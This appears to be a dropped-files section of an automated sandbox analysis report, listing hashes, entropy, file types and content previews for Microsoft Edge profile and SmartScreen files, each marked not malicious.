Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c18c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089776872224137
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWHdi1zNtPMGkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynp1kzItSmd6qE7lFoC
MD5:	EF5AD6491FAD52D8A5B98F192C660D50
SHA1:	D0F9998EE09ED62E7E8DE5D70E82B00EC990D642
SHA-256:	4AF7811270C375E222A1B720D21CEED4B4FDC1AC0851BE6A44CFE934E56F75D1
SHA-512:	469D8092B8C769C0F7D1B95BD776558DFF5705C0137260BA2F07491CE810C12CAA08BA2112E30C6C0CB0502E7F01F8CD58C4C1EC2E8398F05BE5A42020A38274
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c238.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089776872224137
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWHdi1zNtPMGkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynp1kzItSmd6qE7lFoC
MD5:	EF5AD6491FAD52D8A5B98F192C660D50
SHA1:	D0F9998EE09ED62E7E8DE5D70E82B00EC990D642
SHA-256:	4AF7811270C375E222A1B720D21CEED4B4FDC1AC0851BE6A44CFE934E56F75D1
SHA-512:	469D8092B8C769C0F7D1B95BD776558DFF5705C0137260BA2F07491CE810C12CAA08BA2112E30C6C0CB0502E7F01F8CD58C4C1EC2E8398F05BE5A42020A38274
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c370.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089776872224137
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWHdi1zNtPMGkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynp1kzItSmd6qE7lFoC
MD5:	EF5AD6491FAD52D8A5B98F192C660D50
SHA1:	D0F9998EE09ED62E7E8DE5D70E82B00EC990D642
SHA-256:	4AF7811270C375E222A1B720D21CEED4B4FDC1AC0851BE6A44CFE934E56F75D1
SHA-512:	469D8092B8C769C0F7D1B95BD776558DFF5705C0137260BA2F07491CE810C12CAA08BA2112E30C6C0CB0502E7F01F8CD58C4C1EC2E8398F05BE5A42020A38274
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3ea51.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089776872224137
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWHdi1zNtPMGkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynp1kzItSmd6qE7lFoC
MD5:	EF5AD6491FAD52D8A5B98F192C660D50
SHA1:	D0F9998EE09ED62E7E8DE5D70E82B00EC990D642
SHA-256:	4AF7811270C375E222A1B720D21CEED4B4FDC1AC0851BE6A44CFE934E56F75D1
SHA-512:	469D8092B8C769C0F7D1B95BD776558DFF5705C0137260BA2F07491CE810C12CAA08BA2112E30C6C0CB0502E7F01F8CD58C4C1EC2E8398F05BE5A42020A38274
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF42a87.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089776872224137
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWHdi1zNtPMGkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynp1kzItSmd6qE7lFoC
MD5:	EF5AD6491FAD52D8A5B98F192C660D50
SHA1:	D0F9998EE09ED62E7E8DE5D70E82B00EC990D642
SHA-256:	4AF7811270C375E222A1B720D21CEED4B4FDC1AC0851BE6A44CFE934E56F75D1
SHA-512:	469D8092B8C769C0F7D1B95BD776558DFF5705C0137260BA2F07491CE810C12CAA08BA2112E30C6C0CB0502E7F01F8CD58C4C1EC2E8398F05BE5A42020A38274
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4d463.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089776872224137
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWHdi1zNtPMGkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynp1kzItSmd6qE7lFoC
MD5:	EF5AD6491FAD52D8A5B98F192C660D50
SHA1:	D0F9998EE09ED62E7E8DE5D70E82B00EC990D642
SHA-256:	4AF7811270C375E222A1B720D21CEED4B4FDC1AC0851BE6A44CFE934E56F75D1
SHA-512:	469D8092B8C769C0F7D1B95BD776558DFF5705C0137260BA2F07491CE810C12CAA08BA2112E30C6C0CB0502E7F01F8CD58C4C1EC2E8398F05BE5A42020A38274
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF531b6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089776872224137
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWHdi1zNtPMGkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynp1kzItSmd6qE7lFoC
MD5:	EF5AD6491FAD52D8A5B98F192C660D50
SHA1:	D0F9998EE09ED62E7E8DE5D70E82B00EC990D642
SHA-256:	4AF7811270C375E222A1B720D21CEED4B4FDC1AC0851BE6A44CFE934E56F75D1
SHA-512:	469D8092B8C769C0F7D1B95BD776558DFF5705C0137260BA2F07491CE810C12CAA08BA2112E30C6C0CB0502E7F01F8CD58C4C1EC2E8398F05BE5A42020A38274
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y 